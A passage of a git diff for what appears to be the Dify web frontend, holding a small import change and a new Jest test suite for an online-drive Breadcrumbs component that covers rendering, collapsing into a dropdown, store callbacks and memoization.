+      expect(button).toHaveAttribute('type', 'button')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.tsx
index 69b393ed58..7e03049e6f 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/dropdown/index.tsx
@@ -5,7 +5,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import { RiMoreFill } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Menu from './menu'
 
 type DropdownProps = {
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/index.spec.tsx
new file mode 100644
index 0000000000..2ccb460a06
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-drive/file-list/header/breadcrumbs/index.spec.tsx
@@ -0,0 +1,1079 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import Breadcrumbs from './index'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock store - context provider requires mocking
+const mockStoreState = {
+  hasBucket: false,
+  breadcrumbs: [] as string[],
+  prefix: [] as string[],
+  setOnlineDriveFileList: jest.fn(),
+  setSelectedFileIds: jest.fn(),
+  setBreadcrumbs: jest.fn(),
+  setPrefix: jest.fn(),
+  setBucket: jest.fn(),
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../../../../store', () => ({
+  useDataSourceStore: () => mockDataSourceStore,
+  useDataSourceStoreWithSelector: (selector: (s: typeof mockStoreState) => unknown) => selector(mockStoreState),
+}))
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+type BreadcrumbsProps = React.ComponentProps<typeof Breadcrumbs>
+
+const createDefaultProps = (overrides?: Partial<BreadcrumbsProps>): BreadcrumbsProps => ({
+  breadcrumbs: [],
+  keywords: '',
+  bucket: '',
+  searchResultsLength: 0,
+  isInPipeline: false,
+  ...overrides,
+})
+
+// ==========================================
+// Helper Functions
+// ==========================================
+const resetMockStoreState = () => {
+  mockStoreState.hasBucket = false
+  mockStoreState.breadcrumbs = []
+  mockStoreState.prefix = []
+  mockStoreState.setOnlineDriveFileList = jest.fn()
+  mockStoreState.setSelectedFileIds = jest.fn()
+  mockStoreState.setBreadcrumbs = jest.fn()
+  mockStoreState.setPrefix = jest.fn()
+  mockStoreState.setBucket = jest.fn()
+}
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('Breadcrumbs', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    resetMockStoreState()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Container should be in the document
+      const container = document.querySelector('.flex.grow')
+      expect(container).toBeInTheDocument()
+    })
+
+    it('should render with correct container styles', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Breadcrumbs {...props} />)
+
+      // Assert
+      const wrapper = container.firstChild as HTMLElement
+      expect(wrapper).toHaveClass('flex')
+      expect(wrapper).toHaveClass('grow')
+      expect(wrapper).toHaveClass('items-center')
+      expect(wrapper).toHaveClass('overflow-hidden')
+    })
+
+    describe('Search Results Display', () => {
+      it('should show search results when keywords and searchResultsLength > 0', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 5,
+          breadcrumbs: ['folder1'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Search result text should be displayed
+        expect(screen.getByText(/datasetPipeline\.onlineDrive\.breadcrumbs\.searchResult/)).toBeInTheDocument()
+      })
+
+      it('should not show search results when keywords is empty', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: '',
+          searchResultsLength: 5,
+          breadcrumbs: ['folder1'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.queryByText(/searchResult/)).not.toBeInTheDocument()
+      })
+
+      it('should not show search results when searchResultsLength is 0', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 0,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.queryByText(/searchResult/)).not.toBeInTheDocument()
+      })
+
+      it('should use bucket as folderName when breadcrumbs is empty', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 5,
+          breadcrumbs: [],
+          bucket: 'my-bucket',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should use bucket name in search result
+        expect(screen.getByText(/searchResult.*my-bucket/i)).toBeInTheDocument()
+      })
+
+      it('should use last breadcrumb as folderName when breadcrumbs exist', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 5,
+          breadcrumbs: ['folder1', 'folder2'],
+          bucket: 'my-bucket',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should use last breadcrumb in search result
+        expect(screen.getByText(/searchResult.*folder2/i)).toBeInTheDocument()
+      })
+    })
+
+    describe('All Buckets Title Display', () => {
+      it('should show all buckets title when hasBucket=true, bucket is empty, and no breadcrumbs', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          breadcrumbs: [],
+          bucket: '',
+          keywords: '',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('datasetPipeline.onlineDrive.breadcrumbs.allBuckets')).toBeInTheDocument()
+      })
+
+      it('should not show all buckets title when breadcrumbs exist', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1'],
+          bucket: '',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.queryByText('datasetPipeline.onlineDrive.breadcrumbs.allBuckets')).not.toBeInTheDocument()
+      })
+
+      it('should not show all buckets title when bucket is set', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          breadcrumbs: [],
+          bucket: 'my-bucket',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should show bucket name instead
+        expect(screen.queryByText('datasetPipeline.onlineDrive.breadcrumbs.allBuckets')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Bucket Component Display', () => {
+      it('should render Bucket component when hasBucket and bucket are set', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'test-bucket',
+          breadcrumbs: [],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Bucket name should be displayed
+        expect(screen.getByText('test-bucket')).toBeInTheDocument()
+      })
+
+      it('should not render Bucket when hasBucket is false', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          bucket: 'test-bucket',
+          breadcrumbs: [],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Bucket should not be displayed, Drive should be shown instead
+        expect(screen.queryByText('test-bucket')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Drive Component Display', () => {
+      it('should render Drive component when hasBucket is false', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: [],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - "All Files" should be displayed
+        expect(screen.getByText('datasetPipeline.onlineDrive.breadcrumbs.allFiles')).toBeInTheDocument()
+      })
+
+      it('should not render Drive component when hasBucket is true', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'test-bucket',
+          breadcrumbs: [],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.queryByText('datasetPipeline.onlineDrive.breadcrumbs.allFiles')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('BreadcrumbItem Display', () => {
+      it('should render all breadcrumbs when not collapsed', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2'],
+          isInPipeline: false,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('folder1')).toBeInTheDocument()
+        expect(screen.getByText('folder2')).toBeInTheDocument()
+      })
+
+      it('should render last breadcrumb as active', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Last breadcrumb should have active styles
+        const lastBreadcrumb = screen.getByText('folder2')
+        expect(lastBreadcrumb).toHaveClass('system-sm-medium')
+        expect(lastBreadcrumb).toHaveClass('text-text-secondary')
+      })
+
+      it('should render non-last breadcrumbs with tertiary styles', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - First breadcrumb should have tertiary styles
+        const firstBreadcrumb = screen.getByText('folder1')
+        expect(firstBreadcrumb).toHaveClass('system-sm-regular')
+        expect(firstBreadcrumb).toHaveClass('text-text-tertiary')
+      })
+    })
+
+    describe('Collapsed Breadcrumbs (Dropdown)', () => {
+      it('should show dropdown when breadcrumbs exceed displayBreadcrumbNum', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3', 'folder4'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Dropdown trigger (more button) should be present
+        expect(screen.getByRole('button', { name: '' })).toBeInTheDocument()
+      })
+
+      it('should not show dropdown when breadcrumbs do not exceed displayBreadcrumbNum', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+
+        // Act
+        const { container } = render(<Breadcrumbs {...props} />)
+
+        // Assert - Should not have dropdown, just regular breadcrumbs
+        // All breadcrumbs should be directly visible
+        expect(screen.getByText('folder1')).toBeInTheDocument()
+        expect(screen.getByText('folder2')).toBeInTheDocument()
+        // Count buttons - should be 3 (allFiles + folder1 + folder2)
+        const buttons = container.querySelectorAll('button')
+        expect(buttons.length).toBe(3)
+      })
+
+      it('should show prefix breadcrumbs and last breadcrumb when collapsed', async () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3', 'folder4', 'folder5'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - First breadcrumb and last breadcrumb should be visible
+        expect(screen.getByText('folder1')).toBeInTheDocument()
+        expect(screen.getByText('folder2')).toBeInTheDocument()
+        expect(screen.getByText('folder5')).toBeInTheDocument()
+        // Middle breadcrumbs should be in dropdown
+        expect(screen.queryByText('folder3')).not.toBeInTheDocument()
+        expect(screen.queryByText('folder4')).not.toBeInTheDocument()
+      })
+
+      it('should show collapsed breadcrumbs in dropdown when clicked', async () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3', 'folder4', 'folder5'],
+          isInPipeline: false,
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click on dropdown trigger (the ... button)
+        const dropdownTrigger = screen.getAllByRole('button').find(btn => btn.querySelector('svg'))
+        if (dropdownTrigger)
+          fireEvent.click(dropdownTrigger)
+
+        // Assert - Collapsed breadcrumbs should be visible
+        await waitFor(() => {
+          expect(screen.getByText('folder3')).toBeInTheDocument()
+          expect(screen.getByText('folder4')).toBeInTheDocument()
+        })
+      })
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('breadcrumbs prop', () => {
+      it('should handle empty breadcrumbs array', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({ breadcrumbs: [] })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Only Drive should be visible
+        expect(screen.getByText('datasetPipeline.onlineDrive.breadcrumbs.allFiles')).toBeInTheDocument()
+      })
+
+      it('should handle single breadcrumb', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({ breadcrumbs: ['single-folder'] })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('single-folder')).toBeInTheDocument()
+      })
+
+      it('should handle breadcrumbs with special characters', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder [1]', 'folder (copy)'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('folder [1]')).toBeInTheDocument()
+        expect(screen.getByText('folder (copy)')).toBeInTheDocument()
+      })
+
+      it('should handle breadcrumbs with unicode characters', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['文件夹', 'フォルダ'],
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('文件夹')).toBeInTheDocument()
+        expect(screen.getByText('フォルダ')).toBeInTheDocument()
+      })
+    })
+
+    describe('keywords prop', () => {
+      it('should show search results when keywords is non-empty with results', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'search-term',
+          searchResultsLength: 10,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText(/searchResult/)).toBeInTheDocument()
+      })
+
+      it('should handle whitespace keywords', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: '   ',
+          searchResultsLength: 5,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Whitespace is truthy, so should show search results
+        expect(screen.getByText(/searchResult/)).toBeInTheDocument()
+      })
+    })
+
+    describe('bucket prop', () => {
+      it('should display bucket name when hasBucket and bucket are set', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'production-bucket',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('production-bucket')).toBeInTheDocument()
+      })
+
+      it('should handle bucket with special characters', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'bucket-v2.0_backup',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText('bucket-v2.0_backup')).toBeInTheDocument()
+      })
+    })
+
+    describe('searchResultsLength prop', () => {
+      it('should handle zero searchResultsLength', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 0,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should not show search results
+        expect(screen.queryByText(/searchResult/)).not.toBeInTheDocument()
+      })
+
+      it('should handle large searchResultsLength', () => {
+        // Arrange
+        const props = createDefaultProps({
+          keywords: 'test',
+          searchResultsLength: 10000,
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert
+        expect(screen.getByText(/searchResult.*10000/)).toBeInTheDocument()
+      })
+    })
+
+    describe('isInPipeline prop', () => {
+      it('should use displayBreadcrumbNum=2 when isInPipeline is true', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3'],
+          isInPipeline: true, // displayBreadcrumbNum = 2
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should collapse because 3 > 2
+        // Dropdown should be present
+        const buttons = screen.getAllByRole('button')
+        const hasDropdownTrigger = buttons.some(btn => btn.querySelector('svg'))
+        expect(hasDropdownTrigger).toBe(true)
+      })
+
+      it('should use displayBreadcrumbNum=3 when isInPipeline is false', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should NOT collapse because 3 <= 3
+        expect(screen.getByText('folder1')).toBeInTheDocument()
+        expect(screen.getByText('folder2')).toBeInTheDocument()
+        expect(screen.getByText('folder3')).toBeInTheDocument()
+      })
+
+      it('should reduce displayBreadcrumbNum by 1 when bucket is set', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3'],
+          bucket: 'my-bucket',
+          isInPipeline: false, // displayBreadcrumbNum = 3 - 1 = 2
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - Should collapse because 3 > 2
+        const buttons = screen.getAllByRole('button')
+        const hasDropdownTrigger = buttons.some(btn => btn.querySelector('svg'))
+        expect(hasDropdownTrigger).toBe(true)
+      })
+    })
+  })
+
+  // ==========================================
+  // Memoization Logic and Dependencies Tests
+  // ==========================================
+  describe('Memoization Logic and Dependencies', () => {
+    describe('displayBreadcrumbNum useMemo', () => {
+      it('should calculate correct value when isInPipeline=false and no bucket', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['a', 'b', 'c', 'd'],
+          isInPipeline: false,
+          bucket: '',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - displayBreadcrumbNum = 3, so 4 breadcrumbs should collapse
+        // First 2 visible, dropdown, last 1 visible
+        expect(screen.getByText('a')).toBeInTheDocument()
+        expect(screen.getByText('b')).toBeInTheDocument()
+        expect(screen.getByText('d')).toBeInTheDocument()
+        expect(screen.queryByText('c')).not.toBeInTheDocument()
+      })
+
+      it('should calculate correct value when isInPipeline=true and no bucket', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['a', 'b', 'c'],
+          isInPipeline: true,
+          bucket: '',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - displayBreadcrumbNum = 2, so 3 breadcrumbs should collapse
+        expect(screen.getByText('a')).toBeInTheDocument()
+        expect(screen.getByText('c')).toBeInTheDocument()
+        expect(screen.queryByText('b')).not.toBeInTheDocument()
+      })
+
+      it('should calculate correct value when isInPipeline=false and bucket exists', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          breadcrumbs: ['a', 'b', 'c'],
+          isInPipeline: false,
+          bucket: 'my-bucket',
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - displayBreadcrumbNum = 3 - 1 = 2, so 3 breadcrumbs should collapse
+        expect(screen.getByText('a')).toBeInTheDocument()
+        expect(screen.getByText('c')).toBeInTheDocument()
+        expect(screen.queryByText('b')).not.toBeInTheDocument()
+      })
+    })
+
+    describe('breadcrumbsConfig useMemo', () => {
+      it('should correctly split breadcrumbs when collapsed', async () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['f1', 'f2', 'f3', 'f4', 'f5'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click dropdown to see collapsed items
+        const dropdownTrigger = screen.getAllByRole('button').find(btn => btn.querySelector('svg'))
+        if (dropdownTrigger)
+          fireEvent.click(dropdownTrigger)
+
+        // Assert
+        // prefixBreadcrumbs = ['f1', 'f2']
+        // collapsedBreadcrumbs = ['f3', 'f4']
+        // lastBreadcrumb = 'f5'
+        expect(screen.getByText('f1')).toBeInTheDocument()
+        expect(screen.getByText('f2')).toBeInTheDocument()
+        expect(screen.getByText('f5')).toBeInTheDocument()
+        await waitFor(() => {
+          expect(screen.getByText('f3')).toBeInTheDocument()
+          expect(screen.getByText('f4')).toBeInTheDocument()
+        })
+      })
+
+      it('should not collapse when breadcrumbs.length <= displayBreadcrumbNum', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['f1', 'f2'],
+          isInPipeline: false, // displayBreadcrumbNum = 3
+        })
+
+        // Act
+        render(<Breadcrumbs {...props} />)
+
+        // Assert - All breadcrumbs should be visible
+        expect(screen.getByText('f1')).toBeInTheDocument()
+        expect(screen.getByText('f2')).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Callback Stability and Event Handlers Tests
+  // ==========================================
+  describe('Callback Stability and Event Handlers', () => {
+    describe('handleBackToBucketList', () => {
+      it('should reset store state when called', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'my-bucket',
+          breadcrumbs: [],
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click bucket icon button (first button in Bucket component)
+        const buttons = screen.getAllByRole('button')
+        fireEvent.click(buttons[0]) // Bucket icon button
+
+        // Assert
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBucket).toHaveBeenCalledWith('')
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith([])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith([])
+      })
+    })
+
+    describe('handleClickBucketName', () => {
+      it('should reset breadcrumbs and prefix when bucket name is clicked', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'my-bucket',
+          breadcrumbs: ['folder1'],
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click bucket name button
+        const bucketButton = screen.getByText('my-bucket')
+        fireEvent.click(bucketButton)
+
+        // Assert
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith([])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith([])
+      })
+
+      it('should not call handler when bucket is disabled (no breadcrumbs)', () => {
+        // Arrange
+        mockStoreState.hasBucket = true
+        const props = createDefaultProps({
+          bucket: 'my-bucket',
+          breadcrumbs: [], // disabled when no breadcrumbs
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click bucket name button (should be disabled)
+        const bucketButton = screen.getByText('my-bucket')
+        fireEvent.click(bucketButton)
+
+        // Assert - Store methods should NOT be called because button is disabled
+        expect(mockStoreState.setOnlineDriveFileList).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('handleBackToRoot', () => {
+      it('should reset state when Drive button is clicked', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1'],
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click "All Files" button
+        const driveButton = screen.getByText('datasetPipeline.onlineDrive.breadcrumbs.allFiles')
+        fireEvent.click(driveButton)
+
+        // Assert
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith([])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith([])
+      })
+    })
+
+    describe('handleClickBreadcrumb', () => {
+      it('should slice breadcrumbs and prefix when breadcrumb is clicked', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        mockStoreState.breadcrumbs = ['folder1', 'folder2', 'folder3']
+        mockStoreState.prefix = ['prefix1', 'prefix2', 'prefix3']
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2', 'folder3'],
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click on first breadcrumb (index 0)
+        const firstBreadcrumb = screen.getByText('folder1')
+        fireEvent.click(firstBreadcrumb)
+
+        // Assert - Should slice to index 0 + 1 = 1
+        expect(mockStoreState.setOnlineDriveFileList).toHaveBeenCalledWith([])
+        expect(mockStoreState.setSelectedFileIds).toHaveBeenCalledWith([])
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith(['folder1'])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith(['prefix1'])
+      })
+
+      it('should not call handler when last breadcrumb is clicked (disabled)', () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        const props = createDefaultProps({
+          breadcrumbs: ['folder1', 'folder2'],
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Click on last breadcrumb (should be disabled)
+        const lastBreadcrumb = screen.getByText('folder2')
+        fireEvent.click(lastBreadcrumb)
+
+        // Assert - Store methods should NOT be called
+        expect(mockStoreState.setBreadcrumbs).not.toHaveBeenCalled()
+      })
+
+      it('should handle click on collapsed breadcrumb from dropdown', async () => {
+        // Arrange
+        mockStoreState.hasBucket = false
+        mockStoreState.breadcrumbs = ['f1', 'f2', 'f3', 'f4', 'f5']
+        mockStoreState.prefix = ['p1', 'p2', 'p3', 'p4', 'p5']
+        const props = createDefaultProps({
+          breadcrumbs: ['f1', 'f2', 'f3', 'f4', 'f5'],
+          isInPipeline: false,
+        })
+        render(<Breadcrumbs {...props} />)
+
+        // Act - Open dropdown and click on collapsed breadcrumb (f3, index=2)
+        const dropdownTrigger = screen.getAllByRole('button').find(btn => btn.querySelector('svg'))
+        if (dropdownTrigger)
+          fireEvent.click(dropdownTrigger)
+
+        await waitFor(() => {
+          expect(screen.getByText('f3')).toBeInTheDocument()
+        })
+
+        fireEvent.click(screen.getByText('f3'))
+
+        // Assert - Should slice to index 2 + 1 = 3
+        expect(mockStoreState.setBreadcrumbs).toHaveBeenCalledWith(['f1', 'f2', 'f3'])
+        expect(mockStoreState.setPrefix).toHaveBeenCalledWith(['p1', 'p2', 'p3'])
+      })
+    })
+  })
+
+  // ==========================================
+  // Component Memoization Tests
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(Breadcrumbs).toHaveProperty('$$typeof', Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props are the same', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { rerender } = render(<Breadcrumbs {...props} />)
+
+      // Act - Rerender with same props
+      rerender(<Breadcrumbs {...props} />)
+
+      // Assert - Component should render without errors
+      const container = document.querySelector('.flex.grow')
+      expect(container).toBeInTheDocument()
+    })
+
+    it('should re-render when breadcrumbs change', () => {
+      // Arrange
+      mockStoreState.hasBucket = false
+      const props = createDefaultProps({ breadcrumbs: ['folder1'] })
+      const { rerender } = render(<Breadcrumbs {...props} />)
+      expect(screen.getByText('folder1')).toBeInTheDocument()
+
+      // Act - Rerender with different breadcrumbs
+      rerender(<Breadcrumbs {...createDefaultProps({ breadcrumbs: ['folder2'] })} />)
+
+      // Assert
+      expect(screen.getByText('folder2')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling Tests
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle very long breadcrumb names', () => {
+      // Arrange
+      mockStoreState.hasBucket = false
+      const longName = 'a'.repeat(100)
+      const props = createDefaultProps({
+        breadcrumbs: [longName],
+      })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle many breadcrumbs', async () => {
+      // Arrange
+      mockStoreState.hasBucket = false
+      const manyBreadcrumbs = Array.from({ length: 20 }, (_, i) => `folder-${i}`)
+      const props = createDefaultProps({
+        breadcrumbs: manyBreadcrumbs,
+      })
+      render(<Breadcrumbs {...props} />)
+
+      // Act - Open dropdown
+      const dropdownTrigger = screen.getAllByRole('button').find(btn => btn.querySelector('svg'))
+      if (dropdownTrigger)
+        fireEvent.click(dropdownTrigger)
+
+      // Assert - First, last, and collapsed should be accessible
+      expect(screen.getByText('folder-0')).toBeInTheDocument()
+      expect(screen.getByText('folder-1')).toBeInTheDocument()
+      expect(screen.getByText('folder-19')).toBeInTheDocument()
+      await waitFor(() => {
+        expect(screen.getByText('folder-2')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle empty bucket string', () => {
+      // Arrange
+      mockStoreState.hasBucket = true
+      const props = createDefaultProps({
+        bucket: '',
+        breadcrumbs: [],
+      })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Should show all buckets title
+      expect(screen.getByText('datasetPipeline.onlineDrive.breadcrumbs.allBuckets')).toBeInTheDocument()
+    })
+
+    it('should handle breadcrumb with only whitespace', () => {
+      // Arrange
+      mockStoreState.hasBucket = false
+      const props = createDefaultProps({
+        breadcrumbs: ['   ', 'normal-folder'],
+      })
+
+      // Act
+      render(<Breadcrumbs {...props} />)
+
+      // Assert - Both should be rendered
